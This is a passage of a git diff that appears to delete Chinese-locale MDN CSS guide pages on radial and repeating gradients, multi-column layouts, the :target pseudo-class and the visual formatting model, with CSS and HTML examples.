Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.

- -

A basic radial gradient

- -

As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:

- - - -
.simple-radial {
-  background: radial-gradient(red, blue);
-}
-
- -

{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}

- -

Positioning radial color stops

- -

Again like linear gradients, you can position each radial color stop with a percentage or absolute length.

- - - -
.radial-gradient {
-  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
-}
-
- -

{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}

- -

Positioning the center of the gradient

- -

You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.

- - - -
.radial-gradient {
-  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
-}
-
- -

{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}

- -

Sizing radial gradients

- -

Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.

- -

Example: closest-side for ellipses

- -

This example uses the closest-side size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.

- - - -
.radial-ellipse-side {
-  background: radial-gradient(ellipse closest-side,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}

- -

Example: farthest-corner for ellipses

- -

This example is similar to the previous one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.

- - - -
.radial-ellipse-far {
-  background: radial-gradient(ellipse farthest-corner at 90% 90%,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}

- -

Example: closest-side for circles

- -

This example uses closest-side, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.

- - - -
.radial-circle-close {
-  background: radial-gradient(circle closest-side at 25% 75%,
-      red, yellow 10%, #1e90ff 50%, beige);
-}
-
- -

{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}

- -

Stacked radial gradients

- -

Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.

- - - -
.stacked-radial {
-  background:
-      radial-gradient(circle at 50% 0,
-        rgba(255,0,0,.5),
-        rgba(255,0,0,0) 70.71%),
-      radial-gradient(circle at 6.7% 75%,
-        rgba(0,0,255,.5),
-        rgba(0,0,255,0) 70.71%),
-      radial-gradient(circle at 93.3% 75%,
-        rgba(0,255,0,.5),
-        rgba(0,255,0,0) 70.71%) beige;
-  border-radius: 50%;
-}
-
- -

{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}

- -

Using repeating gradients

- -

The {{cssxref("linear-gradient")}} and {{cssxref("radial-gradient")}} properties don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}} and {{cssxref("repeating-radial-gradient")}} properties are available to offer this functionality.

- -

The size of the gradient line that repeats is the length between the first color stop value and the last color stop length value. If the last color stop has just a color and no color stop length, the value defaults to 0, meaning the linear gradient will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner.

- -
-

Repeating linear gradients

- -

This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.

- - - -
.repeating-linear {
-  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
-}
-
- -

{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}

-
- -
-

Multiple repeating linear gradients

- -

Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different background-sizes, optionally with different background-position property values, for each gradient image. We are using transparency.

- -

In this case the gradient lines are 300px, 230px, and 300px long.

- - - -
.multi-repeating-linear {
-  background:
-      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
-        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
-        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
-        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
-        rgba(255, 0, 0, 0.5) 300px),
-      repeating-linear-gradient(-190deg, rgba(255, 0, 0, 0.5) 30px,
-        rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px,
-        rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px,
-        rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px,
-        rgba(255, 0, 0, 0.5) 230px),
-      repeating-linear-gradient(23deg, red 50px, orange 100px,
-        yellow 150px, green 200px, blue 250px,
-        indigo 300px, violet 350px, red 370px);
-}
-
- -

{{ EmbedLiveSample('Multiple_repeating_linear_gradients', 600, 400) }}

-
- -

Plaid gradient

- -

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

- - - -
.plaid-gradient {
-  background:
-      repeating-linear-gradient(90deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(0deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(-45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
-      repeating-linear-gradient(45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
-
-  background:
-      repeating-linear-gradient(90deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(0deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(-45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px),
-      repeating-linear-gradient(45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px);
-}
-
- -

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

- -

Repeating radial gradients

- -

This example uses {{cssxref("repeating-radial-gradient")}} to create a gradient that radiates repeatedly from a central point. The colors get cycled over and over as the gradient repeats.

- - - -
.repeating-radial {
-  background: repeating-radial-gradient(black, black 5px, white 5px, white 10px);
-}
-
- -

{{ EmbedLiveSample('Repeating_radial_gradients', 120, 120) }}

- -

Multiple repeating radial gradients

- - - -
.multi-target {
-  background:
-      repeating-radial-gradient(ellipse at 80% 50%,rgba(0,0,0,0.5),
-        rgba(0,0,0,0.5) 15px, rgba(255,255,255,0.5) 15px,
-        rgba(255,255,255,0.5) 30px) top left no-repeat,
-      repeating-radial-gradient(ellipse at 20% 50%,rgba(0,0,0,0.5),
-        rgba(0,0,0,0.5) 10px, rgba(255,255,255,0.5) 10px,
-        rgba(255,255,255,0.5) 20px) top left no-repeat yellow;
-  background-size: 200px 200px, 150px 150px;
-}
-
- -

{{ EmbedLiveSample('Multiple_repeating_radial_gradients', 250, 150) }}

- -

Plaid gradient

- -

To create plaid we include several overlapping gradients with transparency. In the first background declaration we listed every color stop separately. The second background property declaration using the multiple position color stop syntax:

- -
<div class="plaid-gradient"></div>
- -
div {
-  width: 200px;
-  height: 200px;
-}
- -
.plaid-gradient {
-  background:
-      repeating-linear-gradient(90deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(0deg, transparent, transparent 50px,
-        rgba(255, 127, 0, 0.25) 50px, rgba(255, 127, 0, 0.25) 56px,
-        transparent 56px, transparent 63px,
-        rgba(255, 127, 0, 0.25) 63px, rgba(255, 127, 0, 0.25) 69px,
-        transparent 69px, transparent 116px,
-        rgba(255, 206, 0, 0.25) 116px, rgba(255, 206, 0, 0.25) 166px),
-      repeating-linear-gradient(-45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px),
-      repeating-linear-gradient(45deg, transparent, transparent 5px,
-        rgba(143, 77, 63, 0.25) 5px, rgba(143, 77, 63, 0.25) 10px);
-
-  background:
-      repeating-linear-gradient(90deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(0deg, transparent 0 50px,
-        rgba(255, 127, 0, 0.25) 50px 56px,
-        transparent 56px 63px,
-        rgba(255, 127, 0, 0.25) 63px 69px,
-        transparent 69px 116px,
-        rgba(255, 206, 0, 0.25) 116px 166px),
-      repeating-linear-gradient(-45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px),
-      repeating-linear-gradient(45deg, transparent 0 5px,
-        rgba(143, 77, 63, 0.25) 5px 10px);
-}
-
- -

{{ EmbedLiveSample('Plaid_gradient', 200, 200) }}

- -

See also

- - diff --git a/files/zh-cn/web/guide/css/using_multi-column_layouts/index.html b/files/zh-cn/web/guide/css/using_multi-column_layouts/index.html deleted file mode 100644 index 593e14fd47..0000000000 --- a/files/zh-cn/web/guide/css/using_multi-column_layouts/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: 使用CSS的多列布局 -slug: Web/Guide/CSS/Using_multi-column_layouts -translation_of: Web/CSS/CSS_Columns/Using_multi-column_layouts ---- -

{{CSSRef("CSS Multi-columns")}}

- -

CSS多列布局 扩展块布局模式,以便更容易地定义多列文本。如果一行太长,人们阅读文本很麻烦; 如果眼睛从一行的终点移动到下一个行的开始需要太长时间,它们就会丢失它们所在的行。因此,为了最大限度地利用大屏幕,作者应该将宽度不等的文本列并排放置,就像报纸一样。

- -

糟糕的是如果不使用CSS和HTML在特定的位置强制换行,或者严格限制文本中允许的标记,或者夸张地使用脚本的话,这是不可能实现的。该限制通过从传统的块级布局模块中延伸出来的新的CSS属性得以解决。

- -

使用多列布局

- -

列计数器和宽度

- -

有两个CSS属性控制是否实现多列布局和显示多少列: {{ Cssxref("column-count") }} and {{ Cssxref("column-width") }}。

- -

属性 column-count 设置特定数量的列数。例如,

- -
<div style="column-count:2;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

会以两列的方式显示内容:(如果你正使用支持多列布局的浏览器的话):

- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

属性 column-width 设置期望的最小列宽。如果 column-count 没有设置,那么浏览器就会以合适的宽度尽量显示更多的列。

- -
<div style="column-width:20em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

变成:

- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

详细细节在 CSS3规范 中。

- -

在多列块中,内容会自动从一列换到另一列中。所有 HTML, CSS 和 DOM 功能在列之间都得到支持, 比如编辑和打印。

- -

columns 属性简写

- -

多数时候,网页设计者都会使用 {{ cssxref("column-count") }} 和 {{ cssxref("column-width") }} 的一个. 由于它们的值没有重叠,一般使用简写属性 {{ cssxref("columns") }}。例如,

- -

CSS声明 column-width:12em 可替换成:

- -
<div style="columns:12em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

CSS声明 column-count:4 可替换成:

- -
<div style="columns:4">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

CSS声明 column-width:8emcolumn-count:12 可替换成:

- -
<div style="columns:12 8em">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

高度平衡

- -

CSS3多列规范需要列高平衡:即,浏览器自动设置最大列高,因此每列中的内容高度大致相同。Firefox浏览器是这样的。

- -

然而,一些情况下,明确设置最大列高也是有用的,这样内容从第一列开始,尽可能多的生成列,甚至会溢出右边沿。因此,如果通过设置{{ cssxref("height") }} 或 {{ cssxref("max-height") }} 属性来限制列高,在生成新的一列之前每一列都会仅允许增加到这个高度。该模型对布局来说也更高效。

- -

列间隙

- -

列之间有缝隙。建议值为1em。该值可通过设置多列模块的 {{ Cssxref("column-gap") }} 属性来修改:

- -
<div style="column-width:20em; column-gap:2em;">Lorem ipsum dolor sit amet, consectetur adipisicing elit,
-sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam,
-quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.
-Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat
-nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa
-qui officia deserunt mollit anim id est laborum</div>
-
- -

Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum

- -

优雅降级

- -

多列属性会被不支持多列模型的浏览器忽略。因此,为这些浏览器创建单列结构而为支持多列的浏览器创建多列结构相对来说比较简单。

- -

注意不是所有的浏览器都支持不带前缀的属性名。为了在大多数现代浏览器中应用这种特性,每个属性必须写三次: 一次用 {{ property_prefix("-moz") }} 前缀,一次用 {{ property_prefix("-webkit") }} 前缀,一次不使用前缀

- -

讨论

- -

CSS3 多列特性能帮助网页设计者最优化使用屏幕资源。如果你是一位具有丰富想象力的开发者,你会发现多列特性更多的好处,特别是在高度平衡特性方面。

- -

其它

- - - -
 
- -
 
- -
 
diff --git a/files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html b/files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html deleted file mode 100644 index 65883df437..0000000000 --- a/files/zh-cn/web/guide/css/using_the__colon_target_selector/index.html +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: '在选择器中使用 :target 伪类' -slug: 'Web/Guide/CSS/Using_the_:target_selector' -tags: - - CSS - - CSS_3 - - Selectors -translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' ---- -

{{CSSRef}}

- -

为了辅助标识那些指向文档特定部分链接的目标, CSS3 选择器 引入了 {{ Cssxref(":target") }} 伪类. Netscape 7.1 已经在 Netscape 系列中加入了这个伪类的支持, 这一新的举措让页面作者能够辅助用户在较大的页面中定位。 

- -

选择一个目标

- -

{{ Cssxref(":target") }} 伪类用来指定那些包含片段标识符的 URI 的目标元素样式。 例如, http://developer.mozilla.org/en/docs/Using_the_:target_selector#Example 这个 URI 包含了 #Example 片段标识符。 在HTML中, 标识符是元素的id或者name属性,。由于这两者位于相同的命名空间, 因此, 这个示例 URI 指向的是文档顶层的 "Example" 。

- -

假设你想修改 URI 指向的任何 h2 元素,但是又不想把样式应用到任何其它同类型的元素,那么以下示例足够简单有用:

- -
h2:target {font-weight: bold;}
- -

同样的,将样式应用于特定的文档片段也是可行的。这是通过使用 URI 中相同的标识符实现的。例如,要在 #Example 文档片段中加入边框,我们可以通过如下代码实现: 

- -
#Example:target {border: 1px solid black;}
- -

定位所有元素

- -

如果想要创建应用于所有目标元素的样式,那么可以使用通用选择器:

- -
:target {color: red;}
-
- -

示例

- -

在以下示例中, 5个链接指向了同一文档中的元素。例如,选择 "First" 链接会导致 <h1 id="one"> 成为目标元素。 注意,由于目标元素有可能会被放置到浏览器窗口的顶层,因此文档可能会跳到新的滚动位置。

- -
-
<h4 id="one">...</h4> <p id="two">...</p>
-<div id="three">...</div> <a id="four">...</a> <em id="five">...</em>
-
-<a href="#one">First</a>
-<a href="#two">Second</a>
-<a href="#three">Third</a>
-<a href="#four">Fourth</a>
-<a href="#five">Fifth</a>
-
- -

结论

- -

在片段标识符指向部分文档的情况下,读者可能会对到底应该阅读文档的哪一部分感到疑惑。通过对不同的目标元素的样式进行修饰, 读者的相关疑惑会减少或者消除。

- - - - - -
-

Original Document Information

- -
    -
  • Author(s): Eric Meyer, Standards Evangelist, Netscape Communications
  • -
  • Last Updated Date: Published 30 Jun 2003
  • -
  • Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.
  • -
  • Note: This reprinted article was originally part of the DevEdge site.
  • -
-
diff --git a/files/zh-cn/web/guide/css/visual_formatting_model/index.html b/files/zh-cn/web/guide/css/visual_formatting_model/index.html deleted file mode 100644 index 640f3abbc9..0000000000 --- a/files/zh-cn/web/guide/css/visual_formatting_model/index.html +++ /dev/null @@ -1,282 +0,0 @@ ---- -title: 视觉格式化模型 -slug: Web/Guide/CSS/Visual_formatting_model -tags: - - CSS - - CSS盒模型 - - 参考 -translation_of: Web/CSS/Visual_formatting_model ---- -

{{CSSRef}}

- -

CSS 视觉格式化模型(visual formatting model)是用来处理和在视觉媒体上显示文档时使用的计算规则。该模型是 CSS 的基础概念之一。

- - - -

视觉格式化模型会根据CSS盒子模型将文档中的元素转换为一个个盒子,每个盒子的布局由以下因素决定:

- -
    -
  • 盒子的尺寸:精确指定、由约束条件指定或没有指定
  • -
  • 盒子的类型:行内盒子(inline)、行内级盒子(inline-level)、原子行内级盒子(atomic inline-level)、块盒子(block)
  • -
  • 定位方案(positioning scheme):普通流定位、浮动定位或绝对定位
  • -
  • 文档树中的其它元素:即当前盒子的子元素或兄弟元素
  • -
  • {{glossary("viewport", "视口")}}尺寸与位置
  • -
  • 所包含的图片的尺寸
  • -
  • 其他的某些外部因素
  • -
- -

该模型会根据盒子的包含块(containing block)的边界来渲染盒子。通常,盒子会创建一个包含其后代元素的包含块,但是盒子并不由包含块所限制,当盒子的布局跑到包含块的外面时称为溢出(overflow)

- -
-

译注:本文有很多相近的术语,阅读时需仔细,否则容易造成误解。为了方便读者,这里我将其整理一下。

- -

 

- -
    -
  • :block,一个抽象的概念,一个块在文档流上占据一个独立的区域,块与块之间在垂直方向上按照顺序依次堆叠。
  • -
  • 包含块:containing block,包含其他盒子的块称为包含块。
  • -
  • 盒子:box,一个抽象的概念,由CSS引擎根据文档中的内容所创建,主要用于文档元素的定位、布局和格式化等用途。盒子与元素并不是一一对应的,有时多个元素会合并生成一个盒子,有时一个元素会生成多个盒子(如匿名盒子)。
  • -
  • 块级元素:block-level element,元素的 displayblocklist-itemtable 时,该元素将成为块级元素。元素是否是块级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • -
  • 块级盒子:block-level box,由块级元素生成。一个块级元素至少会生成一个块级盒子,但也有可能生成多个(例如列表项元素)。
  • -
  • 块盒子:block box,如果一个块级盒子同时也是一个块容器盒子(见下),则称其为块盒子。除具名块盒子之外,还有一类块盒子是匿名的,称为匿名块盒子(Anonymous block box),匿名盒子无法被CSS选择符选中。
  • -
  • 块容器盒子:block container box或block containing box,块容器盒子侧重于当前盒子作为“容器”的这一角色,它不参与当前块的布局和定位,它所描述的仅仅是当前盒子与其后代之间的关系。换句话说,块容器盒子主要用于确定其子元素的定位、布局等。
  • -
- -

注意:盒子分为“块盒子”和“块级盒子”两种,但元素只有“块级元素”,而没有“块元素”。下面的“行内级元素”也是一样。

- -
    -
  • 行内级元素:inline-level element,displayinlineinline-blockinline-table 的元素称为行内级元素。与块级元素一样,元素是否是行内级元素仅是元素本身的属性,并不直接用于格式化上下文的创建或布局。
  • -
  • 行内级盒子:inline-level box,由行内级元素生成。行内级盒子包括行内盒子和原子行内级盒子两种,区别在于该盒子是否参与行内格式化上下文的创建。
  • -
  • 行内盒子:inline box,参与行内格式化上下文创建的行内级盒子称为行内盒子。与块盒子类似,行内盒子也分为具名行内盒子和匿名行内盒子(anonymous inline box)两种。
  • -
  • 原子行内级盒子:atomic inline-level box,不参与行内格式化上下文创建的行内级盒子。原子行内级盒子一开始叫做原子行内盒子(atomic inline box),后被修正。原子行内级盒子的内容不会拆分成多行显示。
  • -
- -

另外,本文的英文原文仍未最后定稿,因此部分内容并不完整。待英文原文更新后应及时更新译文。

-
- -

盒子的生成

- -

盒子的生成是 CSS 视觉格式化模型的一部分,用于从文档元素生成盒子。盒子有不同的类型,不同类型的盒子的格式化方法也有所不同。盒子的类型取决于 CSS {{ cssxref("display") }} 属性。

- -

块级元素与块盒子

- -

当元素的 {{ cssxref("display") }} 为 blocklist-item 或 table 时,该元素将成为块级元素。一个块级元素会被格式化成一个块(例如文章的一个段落),默认按照垂直方向依次排列。

- -

每个块级盒子都会参与块格式化上下文(block formatting context)的创建,而每个块级元素都会至少生成一个块级盒子,即主块级盒子(principal block-level box)。有一些元素,比如列表项会生成额外的盒子来放置项目符号,而那些会生成列表项的元素可能会生成更多的盒子。不过,多数元素只生成一个主块级盒子。 

- -

主块级盒子包含由后代元素生成的盒子以及内容,同时它也会参与定位方案

- -

venn_blocks.png一个块级盒子可能也是一个块容器盒子。块容器盒子(block container box)要么只包含其它块级盒子,要么只包含行内盒子并同时创建一个行内格式化上下文(inline formatting context)

- -

能够注意到块级盒子与块容器盒子是不同的这一点很重要。前者描述了元素与其父元素和兄弟元素之间的行为,而后者描述了元素跟其后代之间的行为。有些块级盒子并不是块容器盒子,比如表格;而有些块容器盒子也不是块级盒子,比如非替换行内块和非替换表格单元格。

- -

一个同时是块容器盒子的块级盒子称为块盒子(block box)。

- -

匿名块盒子

- -

在某些情况下进行视觉格式化时,需要添加一些增补性的盒子,这些盒子不能用CSS选择符选中,因此称为匿名盒子(anonymous boxes)

- -

CSS选择器不能作用于匿名盒子(anonymous boxes),所以它不能被样式表赋予样式。也就是说,此时所有可继承的 CSS 属性值都为 inherit ,而所有不可继承的 CSS 属性值都为 initial

- -

块包含盒子可能只包含行内级盒子,也可能只包含块级盒子,但通常的文档都会同时包含两者,在这种情况下,就会在相邻的行内级盒子外创建匿名块盒子。

- -

示例

- -

考虑下面的HTML代码,假设 {{ HTMLElement("div") }} 和 {{ HTMLElement("p") }} 都保持默认的样式(即它们的 display 为 block):

- -
<div>Some inline text <p>followed by a paragraph</p> followed by more inline text.</div>
-
- -

此时会产生两个匿名块盒子:一个是 <p> 元素前面的那些文本(Some inline text),另一个是 <p> 元素后面的文本(followed by more inline text.)。此时会生成下面的块结构:

- -

- -

显示为:

- -
Some inline text
-followed by a paragraph
-followed by more inline text.
-
- -

对这两个匿名盒子来说,程序员无法像 {{ HTMLElement("p") }} 元素那样控制它们的样式,因此它们会从 {{ HTMLElement("div") }} 那里继承那些可继承的属性,如 {{ cssxref("color") }}。其他不可继承的属性则会设置为 initial,比如,因为没有为它们指定 {{ cssxref("background-color") }},因此其具有默认的透明背景,而 <p> 元素的盒子则能够用CSS指定背景颜色。类似地,两个匿名盒子的文本颜色总是一样的。

- -

另一种会创建匿名块盒子的情况是一个行内盒子中包含一或多个块盒子。此时,包含块盒子的盒子会拆分为两个行内盒子,分别位于块盒子的前面和后面。块盒子前面的所有行内盒子会被一个匿名块盒子包裹,块盒子后面的行内盒子也是一样。因此,块盒子将成为这两个匿名块盒子的兄弟盒子。

- -

如果有多个块盒子,而它们中间又没有行内元素,则会在这些盒子的前面和后面创建两个匿名块盒子。

- -

示例

- -

考虑下面的HTML代码,假设 {{ HTMLElement("p") }} 的 display 为 inline,{{ HTMLElement("span") }} 的 display 为 block

- -
<p>Some <em>inline</em> text <span>followed by a paragraph</span> followed by more inline text.</p>
-
- -

此时会产生两个匿名块盒子:一个是 <span> 元素前面的文本(Some inline text),另一个是其之后的文本(followed by more inline text.)。此时会生成下面的块结构:

- -

- -

显示为:

- -
Some inline text
-followed by a paragraph
-followed by more inline text.
-
- -

行内级元素和行内盒子

- -

如果一个元素的 {{ cssxref("display") }} 属性为 inlineinline-blockinline-table,则称该元素为行内级元素。显示时,它不会生成内容块,但是可以与其他行内级内容一起显示为多行。一个典型的例子是包含多种格式内容(如强调文本、图片等)的段落,就可以由行内级元素组成。

- -

- -
-

该图使用了过时的术语,见下面的“注意”(译注:指图中的 “Atomic inline boxes”)。除此之外该图还有一个错误,右边的黄色部分应该完全包含左侧的椭圆(类似于数学上的超集),因为标准所说的是“如果行内级元素生成的盒子参与行内格式化上下文的创建,则该盒子为一个行内级盒子”,见“CSS 2.2标准的9.2.2节”。

-
- -

行内级元素会生成行内级盒子,该盒子同时会参与行内格式化上下文(inline formatting context)的创建。行内盒子既是行内级盒子,也是一个其内容会参与创建其容器的行内格式化上下文的盒子,比如所有具有 display:inline 样式的非替换盒子。如果一个行内级盒子的内容不参与行内格式化上下文的创建,则称其为原子行内级盒子。而通过替换行内级元素或 display 值为 inline-blockinline-table 的元素创建的盒子不会像行内盒子一样可以被拆分为多个盒子。

- -
-

